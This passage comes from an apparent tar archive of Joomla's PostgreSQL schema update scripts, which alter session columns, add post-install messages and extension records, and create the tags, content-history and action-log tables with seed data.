   SET "menutype" = 'main'
 WHERE "client_id" = 1 
   AND "menutype" = 'menu';

-- Step 4: If there is no user-defined menu type "menu" for the site, we can
-- assume that any menu items for that menu type belong to the admin.
-- Fix the client_id for those as it was done with the original version of this
-- schema update script here.
UPDATE "#__menu"
   SET "menutype" = 'main',
       "client_id" = 1
 WHERE "menutype" = 'menu'
   AND (SELECT COUNT("id") FROM "#__menu_types" WHERE "client_id" = 0 AND "menutype" = 'menu') > 0;

-- Step 5: For the standard admin menu items of menutype "main" there is no record
-- in the menutype table on a clean Joomla installation. If there is one, it is a
-- mistake and it should be deleted. This is also the case with menu type "menu"
-- for the admin, for which we changed the menutype of the menu items in step 3.
DELETE FROM "#__menu_types"
 WHERE "client_id" = 1
   AND "menutype" IN ('main', 'menu');
com_admin/sql/updates/postgresql/3.9.0-2018-08-28.sql000060400000000736152455305270015407 0ustar00ALTER TABLE "#__session" ALTER COLUMN "session_id" DROP DEFAULT;
ALTER TABLE "#__session" ALTER COLUMN "session_id" TYPE bytea USING "session_id"::bytea;
ALTER TABLE "#__session" ALTER COLUMN "session_id" SET NOT NULL;
ALTER TABLE "#__session" ALTER COLUMN "time" DROP DEFAULT,
                         ALTER COLUMN "time" TYPE integer USING "time"::integer;
ALTER TABLE "#__session" ALTER COLUMN "time" SET DEFAULT 0;
ALTER TABLE "#__session" ALTER COLUMN "time" SET NOT NULL;
com_admin/sql/updates/postgresql/3.7.4-2017-07-05.sql000060400000000134152455305270015372 0ustar00DELETE FROM "#__postinstall_messages" WHERE "title_key" = 'COM_CPANEL_MSG_PHPVERSION_TITLE';com_admin/sql/updates/postgresql/3.9.21-2020-08-02.sql000060400000000752152455305270015451 0ustar00INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "action_key", "language_extension", "language_client_id", "type", "action_file", "action", "condition_file", "condition_method", "version_introduced", "enabled")
VALUES
(700, 'COM_CPANEL_MSG_HTACCESSSVG_TITLE', 'COM_CPANEL_MSG_HTACCESSSVG_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/htaccesssvg.php', 'admin_postinstall_htaccesssvg_condition', '3.9.21', 1);
com_admin/sql/updates/postgresql/3.9.0-2018-06-17.sql000060400000000575152455305270015404 0ustar00INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(489, 0, 'plg_user_terms', 'plugin', 'terms', 'user', 0, 0, 1, 0, '', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.3.0-2013-12-21.sql000060400000000070152455305270015347 0ustar00# Placeholder file to set the database schema for 3.3.0
com_admin/sql/updates/postgresql/3.1.0.sql000060400000047144152455305270014337 0ustar00/* Changes to tables where data type conflicts exist with MySQL (mainly dealing with null values */

--
-- The following statement has to be disabled because it conflicts with
-- a later change added with Joomla! 3.9.16, see file 3.9.16-2020-02-15.sql
--
-- ALTER TABLE "#__modules" ALTER COLUMN "content" SET DEFAULT '';
--
-- The following statement has to be disabled because it conflicts with
-- a later change added with Joomla! 3.8.8 to repair the update of database schema changes
--
-- ALTER TABLE "#__updates" ALTER COLUMN "data" SET DEFAULT '';

/* Tags database schema */

--
-- Table: #__content_types
--
CREATE TABLE "#__content_types" (
  "type_id" serial NOT NULL,
  "type_title" character varying(255) NOT NULL DEFAULT '',
  "type_alias" character varying(255) NOT NULL DEFAULT '',
  "table" character varying(255) NOT NULL DEFAULT '',
  "rules" text NOT NULL,
  "field_mappings" text NOT NULL,
  "router" character varying(255) NOT NULL DEFAULT '',
  PRIMARY KEY ("type_id")
);
CREATE INDEX "#__content_types_idx_alias" ON "#__content_types" ("type_alias");

--
-- Dumping data for table #__content_types
--
INSERT INTO "#__content_types" ("type_id", "type_title", "type_alias", "table", "rules", "field_mappings", "router") VALUES
(1, 'Article', 'com_content.article', '{"special":{"dbtable":"#__content","key":"id","type":"Content","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"title","core_state":"state","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"introtext", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"attribs", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"urls", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"asset_id"}], "special": [{"fulltext":"fulltext"}]}','ContentHelperRoute::getArticleRoute'),
(2, 'Contact', 'com_contact.contact', '{"special":{"dbtable":"#__contact_details","key":"id","type":"Contact","prefix":"ContactTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"name","core_state":"published","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"address", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"params", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"image", "core_urls":"webpage", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"null"}], "special": [{"con_position":"con_position","suburb":"suburb","state":"state","country":"country","postcode":"postcode","telephone":"telephone","fax":"fax","misc":"misc","email_to":"email_to","default_con":"default_con","user_id":"user_id","mobile":"mobile","sortname1":"sortname1","sortname2":"sortname2","sortname3":"sortname3"}]}','ContactHelperRoute::getContactRoute'),
(3, 'Newsfeed', 'com_newsfeeds.newsfeed', '{"special":{"dbtable":"#__newsfeeds","key":"id","type":"Newsfeed","prefix":"NewsfeedsTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"name","core_state":"published","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"description", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"params", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"link", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"null"}], "special": [{"numarticles":"numarticles","cache_time":"cache_time","rtl":"rtl"}]}','NewsfeedsHelperRoute::getNewsfeedRoute'),
(4, 'User', 'com_users.user', '{"special":{"dbtable":"#__users","key":"id","type":"User","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"name","core_state":"null","core_alias":"username","core_created_time":"registerdate","core_modified_time":"lastvisitDate","core_body":"null", "core_hits":"null","core_publish_up":"null","core_publish_down":"null","access":"null", "core_params":"params", "core_featured":"null", "core_metadata":"null", "core_language":"null", "core_images":"null", "core_urls":"null", "core_version":"null", "core_ordering":"null", "core_metakey":"null", "core_metadesc":"null", "core_catid":"null", "core_xreference":"null", "asset_id":"null"}], "special": [{}]}','UsersHelperRoute::getUserRoute'),
(5, 'Article Category', 'com_content.category', '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}], "special": [{"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}]}','ContentHelperRoute::getCategoryRoute'),
(6, 'Contact Category', 'com_contact.category', '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}], "special": [{"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}]}','ContactHelperRoute::getCategoryRoute'),
(7, 'Newsfeeds Category', 'com_newsfeeds.category', '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"null", "core_metadata":"metadata", "core_language":"language", "core_images":"null", "core_urls":"null", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"parent_id", "core_xreference":"null", "asset_id":"asset_id"}], "special": [{"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}]}','NewsfeedsHelperRoute::getCategoryRoute'),
(8, 'Tag', 'com_tags.tag', '{"special":{"dbtable":"#__tags","key":"tag_id","type":"Tag","prefix":"TagsTable","config":"array()"},"common":{"dbtable":"#__core_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}', '', '{"common":[{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description", "core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access", "core_params":"params", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"urls", "core_version":"version", "core_ordering":"null", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"null", "core_xreference":"null", "asset_id":"null"}], "special": [{"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path"}]}','TagsHelperRoute::getTagRoute');

SELECT nextval('#__content_types_type_id_seq');
SELECT setval('#__content_types_type_id_seq', 10000, false);

--
-- Table: #__contentitem_tag_map
--
CREATE TABLE "#__contentitem_tag_map" (
  "type_alias" character varying(255) NOT NULL DEFAULT '',
  "core_content_id" integer NOT NULL,
  "content_item_id" integer NOT NULL,
  "tag_id" integer NOT NULL,
  "tag_date" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
 CONSTRAINT "uc_ItemnameTagid" UNIQUE ("type_alias", "content_item_id", "tag_id")
);

CREATE INDEX "#__contentitem_tag_map_idx_tag_type" ON "#__contentitem_tag_map" ("tag_id", "type_alias");
CREATE INDEX "#__contentitem_tag_map_idx_date_id" ON "#__contentitem_tag_map" ("tag_date", "tag_id");
CREATE INDEX "#__contentitem_tag_map_idx_tag" ON "#__contentitem_tag_map" ("tag_id");
CREATE INDEX "#__contentitem_tag_map_idx_core_content_id" ON "#__contentitem_tag_map" ("core_content_id");

COMMENT ON COLUMN "#__contentitem_tag_map"."core_content_id" IS 'PK from the core content table';
COMMENT ON COLUMN "#__contentitem_tag_map"."content_item_id" IS 'PK from the content type table';
COMMENT ON COLUMN "#__contentitem_tag_map"."tag_id" IS 'PK from the tag table';
COMMENT ON COLUMN "#__contentitem_tag_map"."tag_date" IS 'Date of most recent save for this tag-item';

-- --------------------------------------------------------

--
-- Table: #__tags
--
CREATE TABLE "#__tags" (
  "id" serial NOT NULL,
  "parent_id" bigint DEFAULT 0 NOT NULL,
  "lft" bigint DEFAULT 0 NOT NULL,
  "rgt" bigint DEFAULT 0 NOT NULL,
  "level" integer DEFAULT 0 NOT NULL,
  "path" character varying(255) DEFAULT '' NOT NULL,
  "title" character varying(255) NOT NULL,
  "alias" character varying(255) DEFAULT '' NOT NULL,
  "note" character varying(255) DEFAULT '' NOT NULL,
  "description" text,
  "published" smallint DEFAULT 0 NOT NULL,
  "checked_out" bigint DEFAULT 0 NOT NULL,
  "checked_out_time" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "access" bigint DEFAULT 0 NOT NULL,
  "params" text NOT NULL,
  "metadesc" character varying(1024) NOT NULL,
  "metakey" character varying(1024) NOT NULL,
  "metadata" character varying(2048) NOT NULL,
  "created_user_id" integer DEFAULT 0 NOT NULL,
  "created_time" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "created_by_alias" character varying(255) DEFAULT '' NOT NULL,
  "modified_user_id" integer DEFAULT 0 NOT NULL,
  "modified_time" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "images" text NOT NULL,
  "urls" text NOT NULL,
  "hits" integer DEFAULT 0 NOT NULL,
  "language" character varying(7) DEFAULT '' NOT NULL,
  "version" bigint DEFAULT 1 NOT NULL,
  "publish_up" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "publish_down" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  PRIMARY KEY ("id")
);
CREATE INDEX "#__tags_cat_idx" ON "#__tags" ("published", "access");
CREATE INDEX "#__tags_idx_access" ON "#__tags" ("access");
CREATE INDEX "#__tags_idx_checkout" ON "#__tags" ("checked_out");
CREATE INDEX "#__tags_idx_path" ON "#__tags" ("path");
CREATE INDEX "#__tags_idx_left_right" ON "#__tags" ("lft", "rgt");
CREATE INDEX "#__tags_idx_alias" ON "#__tags" ("alias");
CREATE INDEX "#__tags_idx_language" ON "#__tags" ("language");

--
-- Dumping data for table #__tags
--

INSERT INTO "#__tags" ("id", "parent_id", "lft", "rgt", "level", "path", "title", "alias", "note", "description", "published", "checked_out", "checked_out_time", "access", "params", "metadesc", "metakey", "metadata", "created_user_id", "created_time", "created_by_alias", "modified_user_id", "modified_time", "images", "urls", "hits", "language", "version") VALUES
(1, 0, 0, 1, 0, '', 'ROOT', 'root', '', '', 1, 0, '1970-01-01 00:00:00', 1, '{}', '', '', '', 42, '1970-01-01 00:00:00', '', 0, '1970-01-01 00:00:00', '', '',  0, '*', 1);

SELECT nextval('#__tags_id_seq');
SELECT setval('#__tags_id_seq', 2, false);

--
-- Table: #__ucm_base
--
CREATE TABLE "#__ucm_base" (
  "ucm_id" serial NOT NULL,
  "ucm_item_id" bigint NOT NULL,
  "ucm_type_id" bigint NOT NULL,
  "ucm_language_id" bigint NOT NULL,
  PRIMARY KEY ("ucm_id")
);
CREATE INDEX "#__ucm_base_ucm_item_id" ON "#__ucm_base" ("ucm_item_id");
CREATE INDEX "#__ucm_base_ucm_type_id" ON "#__ucm_base" ("ucm_type_id");
CREATE INDEX "#__ucm_base_ucm_language_id" ON "#__ucm_base" ("ucm_language_id");

--
-- Table: #__ucm_content
--
CREATE TABLE "#__ucm_content" (
  "core_content_id" serial NOT NULL,
  "core_type_alias" character varying(255) DEFAULT '' NOT NULL,
  "core_title" character varying(255) NOT NULL,
  "core_alias" character varying(255) DEFAULT '' NOT NULL,
  "core_body" text NOT NULL,
  "core_state" smallint DEFAULT 0 NOT NULL,
  "core_checked_out_time" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "core_checked_out_user_id" bigint DEFAULT 0 NOT NULL,
  "core_access" bigint DEFAULT 0 NOT NULL,
  "core_params" text NOT NULL,
  "core_featured" smallint DEFAULT 0 NOT NULL,
  "core_metadata" text NOT NULL,
  "core_created_user_id" bigint DEFAULT 0 NOT NULL,
  "core_created_by_alias" character varying(255) DEFAULT '' NOT NULL,
  "core_created_time" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "core_modified_user_id" bigint DEFAULT 0 NOT NULL,
  "core_modified_time" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "core_language" character varying(7) DEFAULT '' NOT NULL,
  "core_publish_up" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "core_publish_down" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "core_content_item_id" bigint DEFAULT 0 NOT NULL,
  "asset_id" bigint DEFAULT 0 NOT NULL,
  "core_images" text NOT NULL,
  "core_urls" text NOT NULL,
  "core_hits" bigint DEFAULT 0 NOT NULL,
  "core_version" bigint DEFAULT 1 NOT NULL,
  "core_ordering" bigint DEFAULT 0 NOT NULL,
  "core_metakey" text NOT NULL,
  "core_metadesc" text NOT NULL,
  "core_catid" bigint DEFAULT 0 NOT NULL,
  "core_xreference" character varying(50) DEFAULT '' NOT NULL,
  "core_type_id" bigint DEFAULT 0 NOT NULL,
  PRIMARY KEY ("core_content_id"),
  CONSTRAINT "#__ucm_content_idx_type_alias_item_id" UNIQUE ("core_type_alias", "core_content_item_id")
);
CREATE INDEX "#__ucm_content_tag_idx" ON "#__ucm_content" ("core_state", "core_access");
CREATE INDEX "#__ucm_content_idx_access" ON "#__ucm_content" ("core_access");
CREATE INDEX "#__ucm_content_idx_alias" ON "#__ucm_content" ("core_alias");
CREATE INDEX "#__ucm_content_idx_language" ON "#__ucm_content" ("core_language");
CREATE INDEX "#__ucm_content_idx_title" ON "#__ucm_content" ("core_title");
CREATE INDEX "#__ucm_content_idx_modified_time" ON "#__ucm_content" ("core_modified_time");
CREATE INDEX "#__ucm_content_idx_created_time" ON "#__ucm_content" ("core_created_time");
CREATE INDEX "#__ucm_content_idx_content_type" ON "#__ucm_content" ("core_type_alias");
CREATE INDEX "#__ucm_content_idx_core_modified_user_id" ON "#__ucm_content" ("core_modified_user_id");
CREATE INDEX "#__ucm_content_idx_core_checked_out_user_id" ON "#__ucm_content" ("core_checked_out_user_id");
CREATE INDEX "#__ucm_content_idx_core_created_user_id" ON "#__ucm_content" ("core_created_user_id");
CREATE INDEX "#__ucm_content_idx_core_type_id" ON "#__ucm_content" ("core_type_id");

--
-- Add extensions table records
--
INSERT INTO "#__extensions" ("extension_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(29, 'com_tags', 'component', 'com_tags', '', 1, 1, 1, 1, '{"legacy":false,"name":"com_tags","type":"component","creationDate":"March 2013","author":"Joomla! Project","copyright":"(C) 2013 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.0.0","description":"COM_TAGS_XML_DESCRIPTION","group":""}', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(315, 'mod_stats_admin', 'module', 'mod_stats_admin', '', 1, 1, 1, 0, '{"name":"mod_stats_admin","type":"module","creationDate":"September 2012","author":"Joomla! Project","copyright":"(C) 2012 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.0.0","description":"MOD_STATS_XML_DESCRIPTION","group":""}', '{"serverinfo":"0","siteinfo":"0","counter":"0","increase":"0","cache":"1","cache_time":"900","cachemode":"static"}', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(316, 'mod_tags_popular', 'module', 'mod_tags_popular', '', 0, 1, 1, 0, '{"name":"mod_tags_popular","type":"module","creationDate":"January 2013","author":"Joomla! Project","copyright":"(C) 2013 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.1.0","description":"MOD_TAGS_POPULAR_XML_DESCRIPTION","group":""}', '{"maximum":"5","timeframe":"alltime","owncache":"1"}', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(317, 'mod_tags_similar', 'module', 'mod_tags_similar', '', 0, 1, 1, 0, '{"name":"mod_tags_similar","type":"module","creationDate":"January 2013","author":"Joomla! Project","copyright":"(C) 2013 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.1.0","description":"MOD_TAGS_SIMILAR_XML_DESCRIPTION","group":""}', '{"maximum":"5","matchtype":"any","owncache":"1"}', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(447, 'plg_finder_tags', 'plugin', 'tags', 'finder', 0, 1, 1, 0, '{"name":"plg_finder_tags","type":"plugin","creationDate":"February 2013","author":"Joomla! Project","copyright":"(C) 2013 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.0.0","description":"PLG_FINDER_TAGS_XML_DESCRIPTION","group":""}', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0);

--
-- Add menu table records
--
INSERT INTO "#__menu" ("menutype", "title", "alias", "note", "path", "link", "type", "published", "parent_id", "level", "component_id", "checked_out", "checked_out_time", "browserNav", "access", "img", "template_style_id", "params", "lft", "rgt", "home", "language", "client_id") VALUES
('main', 'com_tags', 'Tags', '', 'Tags', 'index.php?option=com_tags', 'component', 0, 1, 1, 29, 0, '1970-01-01 00:00:00', 0, 1, 'class:tags', 0, '', 45, 46, 0, '', 1);
com_admin/sql/updates/postgresql/3.4.0-2014-08-24.sql000060400000000735152455305270015371 0ustar00INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "action_key", "language_extension", "language_client_id", "type", "action_file", "action", "condition_file", "condition_method", "version_introduced", "enabled") VALUES
(700, 'COM_CPANEL_MSG_HTACCESS_TITLE', 'COM_CPANEL_MSG_HTACCESS_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/htaccess.php', 'admin_postinstall_htaccess_condition', '3.4.0', 1);
com_admin/sql/updates/postgresql/3.2.1.sql000060400000000150152455305270014323 0ustar00DELETE FROM "#__postinstall_messages" WHERE "title_key" = 'PLG_USER_JOOMLA_POSTINSTALL_STRONGPW_TITLE';
com_admin/sql/updates/postgresql/3.7.0-2017-02-02.sql000060400000000572152455305270015364 0ustar00INSERT INTO "#__extensions" ("extension_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(478, 'plg_editors-xtd_fields', 'plugin', 'fields', 'editors-xtd', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.3.4-2014-08-03.sql000060400000000107152455305270015362 0ustar00ALTER TABLE "#__user_profiles" ALTER COLUMN "profile_value" TYPE text;
com_admin/sql/updates/postgresql/3.4.0-2015-02-26.sql000060400000001001152455305270015351 0ustar00INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "action_key", "language_extension", "language_client_id", "type", "action_file", "action", "condition_file", "condition_method", "version_introduced", "enabled") VALUES
(700, 'COM_CPANEL_MSG_LANGUAGEACCESS340_TITLE', 'COM_CPANEL_MSG_LANGUAGEACCESS340_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/languageaccess340.php', 'admin_postinstall_languageaccess340_condition', '3.4.1', 1);
com_admin/sql/updates/postgresql/3.7.0-2016-11-24.sql000060400000000453152455305270015365 0ustar00ALTER TABLE "#__extensions" ADD COLUMN "package_id" bigint DEFAULT 0 NOT NULL;

UPDATE "#__extensions"
SET "package_id" = sub.extension_id
FROM (SELECT "extension_id" FROM "#__extensions" WHERE "type" = 'package' AND "element" = 'pkg_en-GB') AS sub
WHERE "type"= 'language' AND "element" = 'en-GB';
com_admin/sql/updates/postgresql/3.9.0-2018-05-05.sql000060400000010621152455305270015371 0ustar00INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(36, 0, 'com_actionlogs', 'component', 'com_actionlogs', '', 1, 1, 1, 1, '', '{"ip_logging":0,"csv_delimiter":",","loggable_extensions":["com_banners","com_cache","com_categories","com_config","com_contact","com_content","com_installer","com_media","com_menus","com_messages","com_modules","com_newsfeeds","com_plugins","com_redirect","com_tags","com_templates","com_users"]}', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(483, 0, 'plg_system_actionlogs', 'plugin', 'actionlogs', 'system', 0, 0, 1, 0, '', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(484, 0, 'plg_actionlog_joomla', 'plugin', 'joomla', 'actionlog', 0, 1, 1, 0, '', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0);

--
-- Table: #__action_logs
--
CREATE TABLE "#__action_logs" (
  "id" serial NOT NULL,
  "message_language_key" varchar(255) NOT NULL DEFAULT '',
  "message" text NOT NULL DEFAULT '',
  "log_date" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "extension" varchar(50) NOT NULL DEFAULT '',
  "user_id" integer DEFAULT 0 NOT NULL,
  "item_id" integer DEFAULT 0 NOT NULL,
  "ip_address" varchar(40) NOT NULL DEFAULT '0.0.0.0',
  PRIMARY KEY ("id")
);

-- Table: #__action_logs_extensions
--
CREATE TABLE "#__action_logs_extensions" (
  "id" serial NOT NULL,
  "extension" varchar(50) NOT NULL DEFAULT '',
  PRIMARY KEY ("id")
);

--
-- Dumping data for table '#__action_logs_extensions'
--
INSERT INTO "#__action_logs_extensions" ("id", "extension") VALUES
(1, 'com_banners'),
(2, 'com_cache'),
(3, 'com_categories'),
(4, 'com_config'),
(5, 'com_contact'),
(6, 'com_content'),
(7, 'com_installer'),
(8, 'com_media'),
(9, 'com_menus'),
(10, 'com_messages'),
(11, 'com_modules'),
(12, 'com_newsfeeds'),
(13, 'com_plugins'),
(14, 'com_redirect'),
(15, 'com_tags'),
(16, 'com_templates'),
(17, 'com_users');

SELECT setval('#__action_logs_extensions_id_seq', 18, false);
-- --------------------------------------------------------

--
-- Table: #__action_log_config
--
CREATE TABLE "#__action_log_config" (
  "id" serial NOT NULL,
  "type_title" varchar(255) NOT NULL DEFAULT '',
  "type_alias" varchar(255) NOT NULL DEFAULT '',
  "id_holder" varchar(255) NULL,
  "title_holder" varchar(255) NULL,
  "table_name" varchar(255) NULL,
  "text_prefix" varchar(255) NULL,
  PRIMARY KEY ("id")
);

--
-- Dumping data for table #__action_log_config
--
INSERT INTO "#__action_log_config" ("id", "type_title", "type_alias", "id_holder", "title_holder", "table_name", "text_prefix") VALUES
(1, 'article', 'com_content.article', 'id' ,'title' , '#__content', 'PLG_ACTIONLOG_JOOMLA'),
(2, 'article', 'com_content.form', 'id', 'title' , '#__content', 'PLG_ACTIONLOG_JOOMLA'),
(3, 'banner', 'com_banners.banner', 'id' ,'name' , '#__banners', 'PLG_ACTIONLOG_JOOMLA'),
(4, 'user_note', 'com_users.note', 'id', 'subject' ,'#__user_notes', 'PLG_ACTIONLOG_JOOMLA'),
(5, 'media', 'com_media.file', '' , 'name' , '',  'PLG_ACTIONLOG_JOOMLA'),
(6, 'category', 'com_categories.category', 'id' , 'title' , '#__categories', 'PLG_ACTIONLOG_JOOMLA'),
(7, 'menu', 'com_menus.menu', 'id' ,'title' , '#__menu_types', 'PLG_ACTIONLOG_JOOMLA'),
(8, 'menu_item', 'com_menus.item', 'id' , 'title' , '#__menu', 'PLG_ACTIONLOG_JOOMLA'),
(9, 'newsfeed', 'com_newsfeeds.newsfeed', 'id' ,'name' , '#__newsfeeds', 'PLG_ACTIONLOG_JOOMLA'),
(10, 'link', 'com_redirect.link', 'id', 'old_url' , '#__redirect_links', 'PLG_ACTIONLOG_JOOMLA'),
(11, 'tag', 'com_tags.tag', 'id', 'title' , '#__tags', 'PLG_ACTIONLOG_JOOMLA'),
(12, 'style', 'com_templates.style', 'id' , 'title' , '#__template_styles', 'PLG_ACTIONLOG_JOOMLA'),
(13, 'plugin', 'com_plugins.plugin', 'extension_id' , 'name' , '#__extensions', 'PLG_ACTIONLOG_JOOMLA'),
(14, 'component_config', 'com_config.component', 'extension_id' , 'name', '', 'PLG_ACTIONLOG_JOOMLA'),
(15, 'contact', 'com_contact.contact', 'id', 'name', '#__contact_details', 'PLG_ACTIONLOG_JOOMLA'),
(16, 'module', 'com_modules.module', 'id' ,'title', '#__modules', 'PLG_ACTIONLOG_JOOMLA'),
(17, 'access_level', 'com_users.level', 'id' , 'title', '#__viewlevels', 'PLG_ACTIONLOG_JOOMLA'),
(18, 'banner_client', 'com_banners.client', 'id', 'name', '#__banner_clients', 'PLG_ACTIONLOG_JOOMLA');


SELECT setval('#__action_log_config_id_seq', 18, false);
com_admin/sql/updates/postgresql/3.8.0-2017-07-31.sql000060400000001003152455305270015362 0ustar00INSERT INTO "#__extensions"
("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state")
VALUES
  (318, 0, 'mod_sampledata', 'module', 'mod_sampledata', '', 1, 0, 1, 0, '', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0),
  (479, 0, 'plg_sampledata_blog', 'plugin', 'blog', 'sampledata', 0, 0, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0);
